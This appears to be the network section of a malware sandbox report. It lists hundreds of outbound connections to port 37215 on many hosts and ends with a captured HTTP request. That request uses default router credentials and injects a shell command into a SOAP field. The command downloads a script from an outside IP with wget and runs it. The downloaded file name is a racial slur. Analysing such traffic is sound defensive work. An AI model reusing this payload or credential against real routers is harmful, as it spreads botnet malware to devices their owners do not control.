Feb 19, 2024 18:35:40.539751053 CET	54001	37215	192.168.2.23	31.79.250.183
Feb 19, 2024 18:35:40.539762020 CET	54001	37215	192.168.2.23	31.209.61.119
Feb 19, 2024 18:35:40.539774895 CET	54001	37215	192.168.2.23	31.57.120.73
Feb 19, 2024 18:35:40.539796114 CET	54001	37215	192.168.2.23	31.111.219.206
Feb 19, 2024 18:35:40.539804935 CET	54001	37215	192.168.2.23	31.255.97.150
Feb 19, 2024 18:35:40.539819956 CET	54001	37215	192.168.2.23	31.173.6.104
Feb 19, 2024 18:35:40.539839029 CET	54001	37215	192.168.2.23	31.200.37.46
Feb 19, 2024 18:35:40.539855003 CET	54001	37215	192.168.2.23	31.82.151.11
Feb 19, 2024 18:35:40.539855003 CET	54001	37215	192.168.2.23	31.126.46.135
Feb 19, 2024 18:35:40.539875031 CET	54001	37215	192.168.2.23	31.127.116.39
Feb 19, 2024 18:35:40.539886951 CET	54001	37215	192.168.2.23	31.139.59.16
Feb 19, 2024 18:35:40.539886951 CET	54001	37215	192.168.2.23	31.29.3.220
Feb 19, 2024 18:35:40.539913893 CET	54001	37215	192.168.2.23	31.252.2.208
Feb 19, 2024 18:35:40.539930105 CET	54001	37215	192.168.2.23	31.162.162.95
Feb 19, 2024 18:35:40.539957047 CET	54001	37215	192.168.2.23	31.86.38.166
Feb 19, 2024 18:35:40.539993048 CET	54001	37215	192.168.2.23	31.155.69.238
Feb 19, 2024 18:35:40.540011883 CET	54001	37215	192.168.2.23	31.142.159.64
Feb 19, 2024 18:35:40.540024996 CET	54001	37215	192.168.2.23	31.243.217.39
Feb 19, 2024 18:35:40.540026903 CET	54001	37215	192.168.2.23	31.224.167.225
Feb 19, 2024 18:35:40.540059090 CET	54001	37215	192.168.2.23	31.10.102.120
Feb 19, 2024 18:35:40.540076017 CET	54001	37215	192.168.2.23	31.83.94.79
Feb 19, 2024 18:35:40.540079117 CET	54001	37215	192.168.2.23	31.66.148.124
Feb 19, 2024 18:35:40.540091038 CET	54001	37215	192.168.2.23	31.252.170.84
Feb 19, 2024 18:35:40.540117025 CET	54001	37215	192.168.2.23	31.212.27.95
Feb 19, 2024 18:35:40.540136099 CET	54001	37215	192.168.2.23	31.243.224.235
Feb 19, 2024 18:35:40.540153980 CET	54001	37215	192.168.2.23	31.136.178.175
Feb 19, 2024 18:35:40.540168047 CET	54001	37215	192.168.2.23	31.125.234.245
Feb 19, 2024 18:35:40.540193081 CET	54001	37215	192.168.2.23	31.90.82.165
Feb 19, 2024 18:35:40.540237904 CET	54001	37215	192.168.2.23	31.218.136.202
Feb 19, 2024 18:35:40.540237904 CET	54001	37215	192.168.2.23	31.251.251.161
Feb 19, 2024 18:35:40.540256977 CET	54001	37215	192.168.2.23	31.96.141.63
Feb 19, 2024 18:35:40.540268898 CET	54001	37215	192.168.2.23	31.232.245.129
Feb 19, 2024 18:35:40.540285110 CET	54001	37215	192.168.2.23	31.135.44.164
Feb 19, 2024 18:35:40.540317059 CET	54001	37215	192.168.2.23	31.116.153.2
Feb 19, 2024 18:35:40.540344954 CET	54001	37215	192.168.2.23	31.58.128.157
Feb 19, 2024 18:35:40.540360928 CET	54001	37215	192.168.2.23	31.165.221.47
Feb 19, 2024 18:35:40.540380955 CET	54001	37215	192.168.2.23	31.47.70.87
Feb 19, 2024 18:35:40.540391922 CET	54001	37215	192.168.2.23	31.86.172.66
Feb 19, 2024 18:35:40.540391922 CET	54001	37215	192.168.2.23	31.186.151.168
Feb 19, 2024 18:35:40.540422916 CET	54001	37215	192.168.2.23	31.7.76.86
Feb 19, 2024 18:35:40.540422916 CET	54001	37215	192.168.2.23	31.0.44.41
Feb 19, 2024 18:35:40.540437937 CET	54001	37215	192.168.2.23	31.188.43.191
Feb 19, 2024 18:35:40.540512085 CET	54001	37215	192.168.2.23	31.82.106.27
Feb 19, 2024 18:35:40.540530920 CET	54001	37215	192.168.2.23	31.25.220.12
Feb 19, 2024 18:35:40.540548086 CET	54001	37215	192.168.2.23	31.70.107.79
Feb 19, 2024 18:35:40.540560961 CET	54001	37215	192.168.2.23	31.88.120.240
Feb 19, 2024 18:35:40.540585995 CET	54001	37215	192.168.2.23	31.116.27.7
Feb 19, 2024 18:35:40.540615082 CET	54001	37215	192.168.2.23	31.118.40.91
Feb 19, 2024 18:35:40.540637970 CET	54001	37215	192.168.2.23	31.58.64.62
Feb 19, 2024 18:35:40.540653944 CET	54001	37215	192.168.2.23	31.170.249.255
Feb 19, 2024 18:35:40.540666103 CET	54001	37215	192.168.2.23	31.100.69.214
Feb 19, 2024 18:35:40.540676117 CET	54001	37215	192.168.2.23	31.122.142.252
Feb 19, 2024 18:35:40.540692091 CET	54001	37215	192.168.2.23	31.214.155.157
Feb 19, 2024 18:35:40.540719986 CET	54001	37215	192.168.2.23	31.196.249.123
Feb 19, 2024 18:35:40.540736914 CET	54001	37215	192.168.2.23	31.161.123.55
Feb 19, 2024 18:35:40.540736914 CET	54001	37215	192.168.2.23	31.22.247.69
Feb 19, 2024 18:35:40.540766954 CET	54001	37215	192.168.2.23	31.199.55.64
Feb 19, 2024 18:35:40.540771961 CET	54001	37215	192.168.2.23	31.160.115.105
Feb 19, 2024 18:35:40.540796041 CET	54001	37215	192.168.2.23	31.159.145.138
Feb 19, 2024 18:35:40.540828943 CET	54001	37215	192.168.2.23	31.109.107.242
Feb 19, 2024 18:35:40.540844917 CET	54001	37215	192.168.2.23	31.180.136.28
Feb 19, 2024 18:35:40.540862083 CET	54001	37215	192.168.2.23	31.141.222.121
Feb 19, 2024 18:35:40.540877104 CET	54001	37215	192.168.2.23	31.87.236.52
Feb 19, 2024 18:35:40.540894985 CET	54001	37215	192.168.2.23	31.0.31.242
Feb 19, 2024 18:35:40.540913105 CET	54001	37215	192.168.2.23	31.125.243.26
Feb 19, 2024 18:35:40.540925980 CET	54001	37215	192.168.2.23	31.183.63.107
Feb 19, 2024 18:35:40.540949106 CET	54001	37215	192.168.2.23	31.161.237.53
Feb 19, 2024 18:35:40.540970087 CET	54001	37215	192.168.2.23	31.8.67.143
Feb 19, 2024 18:35:40.540982008 CET	54001	37215	192.168.2.23	31.59.216.135
Feb 19, 2024 18:35:40.540982008 CET	54001	37215	192.168.2.23	31.218.76.251
Feb 19, 2024 18:35:40.540998936 CET	54001	37215	192.168.2.23	31.172.30.213
Feb 19, 2024 18:35:40.541022062 CET	54001	37215	192.168.2.23	31.61.215.96
Feb 19, 2024 18:35:40.541043997 CET	54001	37215	192.168.2.23	31.99.46.78
Feb 19, 2024 18:35:40.541074991 CET	54001	37215	192.168.2.23	31.198.51.230
Feb 19, 2024 18:35:40.541074991 CET	54001	37215	192.168.2.23	31.159.192.30
Feb 19, 2024 18:35:40.541090965 CET	54001	37215	192.168.2.23	31.96.161.239
Feb 19, 2024 18:35:40.541121006 CET	54001	37215	192.168.2.23	31.103.5.130
Feb 19, 2024 18:35:40.541131020 CET	54001	37215	192.168.2.23	31.83.168.20
Feb 19, 2024 18:35:40.541136980 CET	54001	37215	192.168.2.23	31.141.33.59
Feb 19, 2024 18:35:40.541176081 CET	54001	37215	192.168.2.23	31.201.194.199
Feb 19, 2024 18:35:40.541188002 CET	54001	37215	192.168.2.23	31.123.51.194
Feb 19, 2024 18:35:40.541192055 CET	54001	37215	192.168.2.23	31.159.172.22
Feb 19, 2024 18:35:40.541213989 CET	54001	37215	192.168.2.23	31.17.36.79
Feb 19, 2024 18:35:40.541239023 CET	54001	37215	192.168.2.23	31.21.23.182
Feb 19, 2024 18:35:40.541285038 CET	54001	37215	192.168.2.23	31.47.253.216
Feb 19, 2024 18:35:40.541296005 CET	54001	37215	192.168.2.23	31.214.67.174
Feb 19, 2024 18:35:40.541306973 CET	54001	37215	192.168.2.23	31.186.55.48
Feb 19, 2024 18:35:40.541309118 CET	54001	37215	192.168.2.23	31.151.199.136
Feb 19, 2024 18:35:40.541331053 CET	54001	37215	192.168.2.23	31.239.9.203
Feb 19, 2024 18:35:40.541354895 CET	54001	37215	192.168.2.23	31.124.185.121
Feb 19, 2024 18:35:40.541371107 CET	54001	37215	192.168.2.23	31.154.70.247
Feb 19, 2024 18:35:40.541384935 CET	54001	37215	192.168.2.23	31.158.170.17
Feb 19, 2024 18:35:40.541412115 CET	54001	37215	192.168.2.23	31.141.243.30
Feb 19, 2024 18:35:40.541423082 CET	54001	37215	192.168.2.23	31.65.59.222
Feb 19, 2024 18:35:40.541436911 CET	54001	37215	192.168.2.23	31.251.188.153
Feb 19, 2024 18:35:40.541449070 CET	54001	37215	192.168.2.23	31.125.231.20
Feb 19, 2024 18:35:40.541469097 CET	54001	37215	192.168.2.23	31.40.91.102
Feb 19, 2024 18:35:40.541486979 CET	54001	37215	192.168.2.23	31.48.209.206
Feb 19, 2024 18:35:40.541507006 CET	54001	37215	192.168.2.23	31.239.198.64
Feb 19, 2024 18:35:40.541538000 CET	54001	37215	192.168.2.23	31.18.100.245
Feb 19, 2024 18:35:40.541542053 CET	54001	37215	192.168.2.23	31.195.56.105
Feb 19, 2024 18:35:40.541567087 CET	54001	37215	192.168.2.23	31.139.88.27
Feb 19, 2024 18:35:40.541584969 CET	54001	37215	192.168.2.23	31.253.191.215
Feb 19, 2024 18:35:40.541598082 CET	54001	37215	192.168.2.23	31.236.33.9
Feb 19, 2024 18:35:40.541603088 CET	54001	37215	192.168.2.23	31.21.58.45
Feb 19, 2024 18:35:40.541623116 CET	54001	37215	192.168.2.23	31.221.184.10
Feb 19, 2024 18:35:40.541637897 CET	54001	37215	192.168.2.23	31.132.106.55
Feb 19, 2024 18:35:40.541656971 CET	54001	37215	192.168.2.23	31.40.181.193
Feb 19, 2024 18:35:40.541681051 CET	54001	37215	192.168.2.23	31.161.105.126
Feb 19, 2024 18:35:40.541692972 CET	54001	37215	192.168.2.23	31.10.62.70
Feb 19, 2024 18:35:40.541704893 CET	54001	37215	192.168.2.23	31.197.211.74
Feb 19, 2024 18:35:40.541727066 CET	54001	37215	192.168.2.23	31.160.79.205
Feb 19, 2024 18:35:40.541738987 CET	54001	37215	192.168.2.23	31.192.196.111
Feb 19, 2024 18:35:40.541750908 CET	54001	37215	192.168.2.23	31.200.114.34
Feb 19, 2024 18:35:40.541769028 CET	54001	37215	192.168.2.23	31.118.253.166
Feb 19, 2024 18:35:40.541790009 CET	54001	37215	192.168.2.23	31.5.162.224
Feb 19, 2024 18:35:40.541802883 CET	54001	37215	192.168.2.23	31.19.71.247
Feb 19, 2024 18:35:40.541824102 CET	54001	37215	192.168.2.23	31.138.64.119
Feb 19, 2024 18:35:40.541841984 CET	54001	37215	192.168.2.23	31.42.173.54
Feb 19, 2024 18:35:40.541871071 CET	54001	37215	192.168.2.23	31.17.76.41
Feb 19, 2024 18:35:40.541889906 CET	54001	37215	192.168.2.23	31.119.12.126
Feb 19, 2024 18:35:40.541902065 CET	54001	37215	192.168.2.23	31.98.78.4
Feb 19, 2024 18:35:40.541924953 CET	54001	37215	192.168.2.23	31.112.61.68
Feb 19, 2024 18:35:40.541944981 CET	54001	37215	192.168.2.23	31.128.178.101
Feb 19, 2024 18:35:40.541961908 CET	54001	37215	192.168.2.23	31.170.74.8
Feb 19, 2024 18:35:40.541981936 CET	54001	37215	192.168.2.23	31.255.108.20
Feb 19, 2024 18:35:40.541992903 CET	54001	37215	192.168.2.23	31.44.203.45
Feb 19, 2024 18:35:40.542006969 CET	54001	37215	192.168.2.23	31.49.209.255
Feb 19, 2024 18:35:40.542021036 CET	54001	37215	192.168.2.23	31.254.67.134
Feb 19, 2024 18:35:40.542041063 CET	54001	37215	192.168.2.23	31.105.127.216
Feb 19, 2024 18:35:40.542062998 CET	54001	37215	192.168.2.23	31.27.99.85
Feb 19, 2024 18:35:40.542093039 CET	54001	37215	192.168.2.23	31.16.108.141
Feb 19, 2024 18:35:40.542109013 CET	54001	37215	192.168.2.23	31.100.46.71
Feb 19, 2024 18:35:40.542109013 CET	54001	37215	192.168.2.23	31.160.238.11
Feb 19, 2024 18:35:40.542130947 CET	54001	37215	192.168.2.23	31.68.32.219
Feb 19, 2024 18:35:40.542144060 CET	54001	37215	192.168.2.23	31.170.145.10
Feb 19, 2024 18:35:40.542159081 CET	54001	37215	192.168.2.23	31.4.228.204
Feb 19, 2024 18:35:40.542186022 CET	54001	37215	192.168.2.23	31.195.137.41
Feb 19, 2024 18:35:40.542196035 CET	54001	37215	192.168.2.23	31.78.116.24
Feb 19, 2024 18:35:40.542213917 CET	54001	37215	192.168.2.23	31.27.53.176
Feb 19, 2024 18:35:40.542231083 CET	54001	37215	192.168.2.23	31.118.131.15
Feb 19, 2024 18:35:40.542248964 CET	54001	37215	192.168.2.23	31.69.161.215
Feb 19, 2024 18:35:40.542264938 CET	54001	37215	192.168.2.23	31.60.48.160
Feb 19, 2024 18:35:40.542284966 CET	54001	37215	192.168.2.23	31.213.205.30
Feb 19, 2024 18:35:40.542320967 CET	54001	37215	192.168.2.23	31.20.149.80
Feb 19, 2024 18:35:40.542342901 CET	54001	37215	192.168.2.23	31.191.219.16
Feb 19, 2024 18:35:40.542342901 CET	54001	37215	192.168.2.23	31.160.218.197
Feb 19, 2024 18:35:40.542352915 CET	54001	37215	192.168.2.23	31.191.180.44
Feb 19, 2024 18:35:40.542378902 CET	54001	37215	192.168.2.23	31.15.206.6
Feb 19, 2024 18:35:40.542397022 CET	54001	37215	192.168.2.23	31.82.88.115
Feb 19, 2024 18:35:40.542417049 CET	54001	37215	192.168.2.23	31.181.169.237
Feb 19, 2024 18:35:40.542433977 CET	54001	37215	192.168.2.23	31.246.23.206
Feb 19, 2024 18:35:40.542443991 CET	54001	37215	192.168.2.23	31.195.183.187
Feb 19, 2024 18:35:40.542448997 CET	54001	37215	192.168.2.23	31.243.78.154
Feb 19, 2024 18:35:40.542465925 CET	54001	37215	192.168.2.23	31.107.30.214
Feb 19, 2024 18:35:40.542514086 CET	54001	37215	192.168.2.23	31.180.81.189
Feb 19, 2024 18:35:40.542543888 CET	54001	37215	192.168.2.23	31.107.198.208
Feb 19, 2024 18:35:40.542557955 CET	54001	37215	192.168.2.23	31.139.234.203
Feb 19, 2024 18:35:40.542557955 CET	54001	37215	192.168.2.23	31.205.25.245
Feb 19, 2024 18:35:40.542576075 CET	54001	37215	192.168.2.23	31.57.239.213
Feb 19, 2024 18:35:40.542591095 CET	54001	37215	192.168.2.23	31.196.18.16
Feb 19, 2024 18:35:40.542596102 CET	54001	37215	192.168.2.23	31.113.108.100
Feb 19, 2024 18:35:40.542613983 CET	54001	37215	192.168.2.23	31.19.126.4
Feb 19, 2024 18:35:40.542663097 CET	54001	37215	192.168.2.23	31.210.177.173
Feb 19, 2024 18:35:40.542669058 CET	54001	37215	192.168.2.23	31.101.19.141
Feb 19, 2024 18:35:40.542685986 CET	54001	37215	192.168.2.23	31.82.19.244
Feb 19, 2024 18:35:40.542692900 CET	54001	37215	192.168.2.23	31.45.23.71
Feb 19, 2024 18:35:40.542692900 CET	54001	37215	192.168.2.23	31.150.196.31
Feb 19, 2024 18:35:40.542714119 CET	54001	37215	192.168.2.23	31.154.59.14
Feb 19, 2024 18:35:40.542738914 CET	54001	37215	192.168.2.23	31.242.208.90
Feb 19, 2024 18:35:40.542761087 CET	54001	37215	192.168.2.23	31.92.151.116
Feb 19, 2024 18:35:40.542798996 CET	54001	37215	192.168.2.23	31.161.163.47
Feb 19, 2024 18:35:40.542824984 CET	54001	37215	192.168.2.23	31.26.251.3
Feb 19, 2024 18:35:40.542838097 CET	54001	37215	192.168.2.23	31.39.190.203
Feb 19, 2024 18:35:40.542860031 CET	54001	37215	192.168.2.23	31.178.249.57
Feb 19, 2024 18:35:40.542870998 CET	54001	37215	192.168.2.23	31.198.66.250
Feb 19, 2024 18:35:40.542896032 CET	54001	37215	192.168.2.23	31.151.130.139
Feb 19, 2024 18:35:40.542917013 CET	54001	37215	192.168.2.23	31.145.104.88
Feb 19, 2024 18:35:40.542932987 CET	54001	37215	192.168.2.23	31.195.205.99
Feb 19, 2024 18:35:40.542948008 CET	54001	37215	192.168.2.23	31.16.152.71
Feb 19, 2024 18:35:40.542964935 CET	54001	37215	192.168.2.23	31.94.223.251
Feb 19, 2024 18:35:40.542987108 CET	54001	37215	192.168.2.23	31.243.11.31
Feb 19, 2024 18:35:40.543001890 CET	54001	37215	192.168.2.23	31.86.158.230
Feb 19, 2024 18:35:40.543015957 CET	54001	37215	192.168.2.23	31.0.166.132
Feb 19, 2024 18:35:40.543039083 CET	54001	37215	192.168.2.23	31.101.215.241
Feb 19, 2024 18:35:40.543056965 CET	54001	37215	192.168.2.23	31.237.28.47
Feb 19, 2024 18:35:40.543076038 CET	54001	37215	192.168.2.23	31.185.41.58
Feb 19, 2024 18:35:40.543076038 CET	54001	37215	192.168.2.23	31.250.134.207
Feb 19, 2024 18:35:40.543092966 CET	54001	37215	192.168.2.23	31.228.158.233
Feb 19, 2024 18:35:40.543108940 CET	54001	37215	192.168.2.23	31.151.91.14
Feb 19, 2024 18:35:40.543119907 CET	54001	37215	192.168.2.23	31.23.101.35
Feb 19, 2024 18:35:40.543123007 CET	54001	37215	192.168.2.23	31.241.62.36
Feb 19, 2024 18:35:40.543135881 CET	54001	37215	192.168.2.23	31.152.87.135
Feb 19, 2024 18:35:40.543159008 CET	54001	37215	192.168.2.23	31.93.1.171
Feb 19, 2024 18:35:40.543184042 CET	54001	37215	192.168.2.23	31.23.88.210
Feb 19, 2024 18:35:40.543219090 CET	54001	37215	192.168.2.23	31.143.225.45
Feb 19, 2024 18:35:40.543236017 CET	54001	37215	192.168.2.23	31.164.131.79
Feb 19, 2024 18:35:40.543241024 CET	54001	37215	192.168.2.23	31.24.193.197
Feb 19, 2024 18:35:40.543257952 CET	54001	37215	192.168.2.23	31.10.241.107
Feb 19, 2024 18:35:40.543277025 CET	54001	37215	192.168.2.23	31.68.176.163
Feb 19, 2024 18:35:40.543296099 CET	54001	37215	192.168.2.23	31.42.151.69
Feb 19, 2024 18:35:40.543318033 CET	54001	37215	192.168.2.23	31.245.144.224
Feb 19, 2024 18:35:40.543350935 CET	54001	37215	192.168.2.23	31.108.154.13
Feb 19, 2024 18:35:40.543356895 CET	54001	37215	192.168.2.23	31.121.103.176
Feb 19, 2024 18:35:40.543376923 CET	54001	37215	192.168.2.23	31.222.167.139
Feb 19, 2024 18:35:40.543411016 CET	54001	37215	192.168.2.23	31.232.33.203
Feb 19, 2024 18:35:40.543425083 CET	54001	37215	192.168.2.23	31.166.223.64
Feb 19, 2024 18:35:40.543440104 CET	54001	37215	192.168.2.23	31.202.44.229
Feb 19, 2024 18:35:40.543456078 CET	54001	37215	192.168.2.23	31.28.147.182
Feb 19, 2024 18:35:40.543472052 CET	54001	37215	192.168.2.23	31.152.176.89
Feb 19, 2024 18:35:40.543497086 CET	54001	37215	192.168.2.23	31.45.139.111
Feb 19, 2024 18:35:40.543509960 CET	54001	37215	192.168.2.23	31.32.102.46
Feb 19, 2024 18:35:40.543524027 CET	54001	37215	192.168.2.23	31.97.89.15
Feb 19, 2024 18:35:40.543528080 CET	54001	37215	192.168.2.23	31.58.7.220
Feb 19, 2024 18:35:40.543540955 CET	54001	37215	192.168.2.23	31.194.175.103
Feb 19, 2024 18:35:40.543555975 CET	54001	37215	192.168.2.23	31.234.57.253
Feb 19, 2024 18:35:40.543610096 CET	54001	37215	192.168.2.23	31.113.220.3
Feb 19, 2024 18:35:40.543610096 CET	54001	37215	192.168.2.23	31.113.149.123
Feb 19, 2024 18:35:40.543626070 CET	54001	37215	192.168.2.23	31.153.150.165
Feb 19, 2024 18:35:40.543637991 CET	54001	37215	192.168.2.23	31.1.147.244
Feb 19, 2024 18:35:40.543647051 CET	54001	37215	192.168.2.23	31.38.109.91
Feb 19, 2024 18:35:40.543648958 CET	54001	37215	192.168.2.23	31.145.123.166
Feb 19, 2024 18:35:40.543665886 CET	54001	37215	192.168.2.23	31.184.138.28
Feb 19, 2024 18:35:40.543685913 CET	54001	37215	192.168.2.23	31.122.97.94
Feb 19, 2024 18:35:40.543744087 CET	54001	37215	192.168.2.23	31.240.42.245
Feb 19, 2024 18:35:40.543751001 CET	54001	37215	192.168.2.23	31.96.168.190
Feb 19, 2024 18:35:40.543765068 CET	54001	37215	192.168.2.23	31.217.230.141
Feb 19, 2024 18:35:40.543766022 CET	54001	37215	192.168.2.23	31.144.217.167
Feb 19, 2024 18:35:40.543772936 CET	54001	37215	192.168.2.23	31.77.46.155
Feb 19, 2024 18:35:40.543781996 CET	54001	37215	192.168.2.23	31.76.106.44
Feb 19, 2024 18:35:40.543806076 CET	54001	37215	192.168.2.23	31.185.16.248
Feb 19, 2024 18:35:40.543864965 CET	54001	37215	192.168.2.23	31.106.185.128
Feb 19, 2024 18:35:40.543878078 CET	54001	37215	192.168.2.23	31.198.50.239
Feb 19, 2024 18:35:40.543890953 CET	54001	37215	192.168.2.23	31.15.250.216
Feb 19, 2024 18:35:40.543905973 CET	54001	37215	192.168.2.23	31.170.171.183
Feb 19, 2024 18:35:40.543925047 CET	54001	37215	192.168.2.23	31.10.222.241
Feb 19, 2024 18:35:40.543948889 CET	54001	37215	192.168.2.23	31.171.170.80
Feb 19, 2024 18:35:40.543967962 CET	54001	37215	192.168.2.23	31.8.45.5
Feb 19, 2024 18:35:40.543982983 CET	54001	37215	192.168.2.23	31.161.235.72
Feb 19, 2024 18:35:40.543992996 CET	54001	37215	192.168.2.23	31.81.189.24
Feb 19, 2024 18:35:40.544002056 CET	54001	37215	192.168.2.23	31.179.132.137
Feb 19, 2024 18:35:40.544006109 CET	54001	37215	192.168.2.23	31.9.20.72
Feb 19, 2024 18:35:40.544006109 CET	54001	37215	192.168.2.23	31.57.245.189
Feb 19, 2024 18:35:40.544023991 CET	54001	37215	192.168.2.23	31.206.70.249
Feb 19, 2024 18:35:40.544049978 CET	54001	37215	192.168.2.23	31.211.170.65
Feb 19, 2024 18:35:40.544091940 CET	54001	37215	192.168.2.23	31.111.12.249
Feb 19, 2024 18:35:40.544106007 CET	54001	37215	192.168.2.23	31.49.91.220
Feb 19, 2024 18:35:40.544122934 CET	54001	37215	192.168.2.23	31.183.230.255
Feb 19, 2024 18:35:40.544126034 CET	54001	37215	192.168.2.23	31.127.77.167
Feb 19, 2024 18:35:40.544138908 CET	54001	37215	192.168.2.23	31.189.222.221
Feb 19, 2024 18:35:40.544154882 CET	54001	37215	192.168.2.23	31.150.228.47
Feb 19, 2024 18:35:40.544171095 CET	54001	37215	192.168.2.23	31.197.201.187
Feb 19, 2024 18:35:40.544187069 CET	54001	37215	192.168.2.23	31.227.152.253
Feb 19, 2024 18:35:40.544209957 CET	54001	37215	192.168.2.23	31.184.20.14
Feb 19, 2024 18:35:40.544248104 CET	54001	37215	192.168.2.23	31.140.156.199
Feb 19, 2024 18:35:40.544260979 CET	54001	37215	192.168.2.23	31.117.129.175
Feb 19, 2024 18:35:40.544281960 CET	54001	37215	192.168.2.23	31.95.176.105
Feb 19, 2024 18:35:40.544300079 CET	54001	37215	192.168.2.23	31.59.254.9
Feb 19, 2024 18:35:40.544332027 CET	54001	37215	192.168.2.23	31.103.55.235
Feb 19, 2024 18:35:40.544333935 CET	54001	37215	192.168.2.23	31.6.250.16
Feb 19, 2024 18:35:40.544349909 CET	54001	37215	192.168.2.23	31.92.144.203
Feb 19, 2024 18:35:40.544359922 CET	54001	37215	192.168.2.23	31.65.135.224
Feb 19, 2024 18:35:40.544380903 CET	54001	37215	192.168.2.23	31.126.235.100
Feb 19, 2024 18:35:40.544385910 CET	54001	37215	192.168.2.23	31.66.55.253
Feb 19, 2024 18:35:40.544413090 CET	54001	37215	192.168.2.23	31.45.1.106
Feb 19, 2024 18:35:40.544425011 CET	54001	37215	192.168.2.23	31.187.117.44
Feb 19, 2024 18:35:40.544445992 CET	54001	37215	192.168.2.23	31.104.243.9
Feb 19, 2024 18:35:40.544471979 CET	54001	37215	192.168.2.23	31.50.150.70
Feb 19, 2024 18:35:40.544495106 CET	54001	37215	192.168.2.23	31.147.230.90
Feb 19, 2024 18:35:40.544495106 CET	54001	37215	192.168.2.23	31.164.153.190
Feb 19, 2024 18:35:40.544519901 CET	54001	37215	192.168.2.23	31.228.247.12
Feb 19, 2024 18:35:40.544533968 CET	54001	37215	192.168.2.23	31.36.80.111
Feb 19, 2024 18:35:40.544574022 CET	54001	37215	192.168.2.23	31.35.191.170
Feb 19, 2024 18:35:40.544606924 CET	54001	37215	192.168.2.23	31.228.69.18
Feb 19, 2024 18:35:40.544616938 CET	54001	37215	192.168.2.23	31.105.121.10
Feb 19, 2024 18:35:40.544631004 CET	54001	37215	192.168.2.23	31.248.218.197
Feb 19, 2024 18:35:40.544640064 CET	54001	37215	192.168.2.23	31.63.175.229
Feb 19, 2024 18:35:40.544663906 CET	54001	37215	192.168.2.23	31.149.249.58
Feb 19, 2024 18:35:40.544686079 CET	54001	37215	192.168.2.23	31.229.45.73
Feb 19, 2024 18:35:40.544687033 CET	54001	37215	192.168.2.23	31.169.103.135
Feb 19, 2024 18:35:40.544689894 CET	54001	37215	192.168.2.23	31.244.226.48
Feb 19, 2024 18:35:40.544702053 CET	54001	37215	192.168.2.23	31.53.79.56
Feb 19, 2024 18:35:40.544714928 CET	54001	37215	192.168.2.23	31.60.23.223
Feb 19, 2024 18:35:40.544739962 CET	54001	37215	192.168.2.23	31.210.18.56
Feb 19, 2024 18:35:40.544764042 CET	54001	37215	192.168.2.23	31.202.54.40
Feb 19, 2024 18:35:40.544800043 CET	54001	37215	192.168.2.23	31.68.143.65
Feb 19, 2024 18:35:40.544800043 CET	54001	37215	192.168.2.23	31.118.33.145
Feb 19, 2024 18:35:40.544816971 CET	54001	37215	192.168.2.23	31.90.232.87
Feb 19, 2024 18:35:40.544831038 CET	54001	37215	192.168.2.23	31.214.98.44
Feb 19, 2024 18:35:40.544872999 CET	54001	37215	192.168.2.23	31.76.31.82
Feb 19, 2024 18:35:40.544888973 CET	54001	37215	192.168.2.23	31.22.220.24
Feb 19, 2024 18:35:40.544903994 CET	54001	37215	192.168.2.23	31.237.64.108
Feb 19, 2024 18:35:40.544904947 CET	54001	37215	192.168.2.23	31.252.92.151
Feb 19, 2024 18:35:40.544924974 CET	54001	37215	192.168.2.23	31.170.169.118
Feb 19, 2024 18:35:40.544955015 CET	54001	37215	192.168.2.23	31.106.13.61
Feb 19, 2024 18:35:40.544960022 CET	54001	37215	192.168.2.23	31.211.113.67
Feb 19, 2024 18:35:40.544972897 CET	54001	37215	192.168.2.23	31.106.9.118

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	51534	31.136.53.108	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:41.805866957 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x 